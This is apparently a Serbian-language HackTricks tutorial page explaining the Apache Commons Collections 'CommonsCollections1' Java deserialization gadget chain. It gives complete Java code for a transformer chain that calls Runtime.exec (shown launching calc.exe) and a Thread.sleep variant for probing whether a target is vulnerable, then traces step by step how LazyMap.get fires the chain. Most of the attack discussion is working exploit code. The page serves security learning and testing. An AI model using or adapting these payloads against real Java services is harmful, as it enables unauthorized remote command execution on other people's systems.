9.6 KiB
Payload za CommonsCollection1 - Java Transformers za Rutime exec() i Thread Sleep
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
- Da li radite u cybersecurity kompaniji? Želite li da vidite svoju kompaniju reklamiranu na HackTricks-u? Ili želite da imate pristup najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu? Proverite SUBSCRIPTION PLANS!
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Nabavite zvanični PEASS & HackTricks swag
- Pridružite se 💬 Discord grupi ili telegram grupi ili me pratite na Twitter-u 🐦@carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na hacktricks repo i hacktricks-cloud repo.
Java Transformers za Rutime exec()
Na nekoliko mesta možete pronaći java deserialization payload koji koristi transformere iz Apache common collections, kao što je sledeći:
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
Ako ne znate ništa o java deserializacijskim payloadima, može biti teško shvatiti zašto će ovaj kod izvršiti kalkulator.
Prvo, trebate znati da je Transformer u Javi nešto što prima klasu i transformira je u drugu.
Također je zanimljivo znati da je payload koji se izvršava ovdje ekvivalentan:
Runtime.getRuntime().exec(new String[]{"calc.exe"});
Ili tačnije, ono što će biti izvršeno na kraju biće:
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
Kako
Dakle, kako je prvi payload predstavljen ekvivalentan tim "jednostavnim" jednolinijskim naredbama?
Prvo, možete primetiti u payloadu da je lanac (niz) transformacija kreiran:
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),
//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Ako pročitate kod, primetićete da ako na neki način povežete transformaciju niza, možete izvršiti proizvoljne komande.
Dakle, kako se te transformacije povezuju?
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
U poslednjem delu payload-a možete videti da je kreiran Map objekat. Zatim se funkcija decorate
izvršava iz LazyMap
sa map objektom i povezanim transformatorima. Iz sledećeg koda možete videti da će to rezultirati kopiranjem povezanih transformatora unutar atributa lazyMap.factory
:
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
I onda se izvršava veliko finale: lazyMap.get("bilo šta");
Ovo je kod funkcije get
:
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
I ovo je kod funkcije transform
.
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
Dakle, zapamtite da smo unutar fabrike sačuvali chainedTransformer
i unutar funkcije transform
prolazimo kroz sve te povezane transformere i izvršavamo ih jedan za drugim. Zanimljivo je da svaki transformer koristi object
kao ulaz, a objekat je izlaz iz poslednjeg izvršenog transformera. Stoga, svi transformeri su povezani i izvršavaju zlonamerni payload.
Rezime
Na kraju, zbog načina na koji lazyMap upravlja povezanim transformatorima unutar metode get, to je kao da izvršavamo sledeći kod:
Object value = "someting";
value = new ConstantTransformer(Runtime.class).transform(value); //(1)
value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)
value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)
value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)
Napomena kako je value
ulaz svake transformacije i izlaz prethodne transformacije, omogućavajući izvršavanje jednog reda koda:
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
Napomena da je ovde objašnjeno koje su "gadžeti" korišćeni za "ComonsCollections1" payload. Ali nije objašnjeno kako se sve to pokreće. Možete videti ovde da ysoserial, kako bi izvršio ovaj payload, koristi objekat AnnotationInvocationHandler
jer kada se ovaj objekat deserijalizuje, pozvaće se funkcija payload.get()
koja će izvršiti ceo payload.
Java Thread Sleep
Ovaj payload može biti koristan za identifikaciju da li je veb ranjiv, jer će izvršiti pauzu ako jeste.
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
Još Gadgeta
Možete pronaći više gadgeta ovde: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
- Da li radite u cybersecurity kompaniji? Želite li da vidite vašu kompaniju reklamiranu na HackTricks? Ili želite da imate pristup najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu? Proverite SUBSCRIPTION PLANS!
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Nabavite zvanični PEASS & HackTricks swag
- Pridružite se 💬 Discord grupi ili telegram grupi ili me pratite na Twitter-u 🐦@carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na hacktricks repo i hacktricks-cloud repo.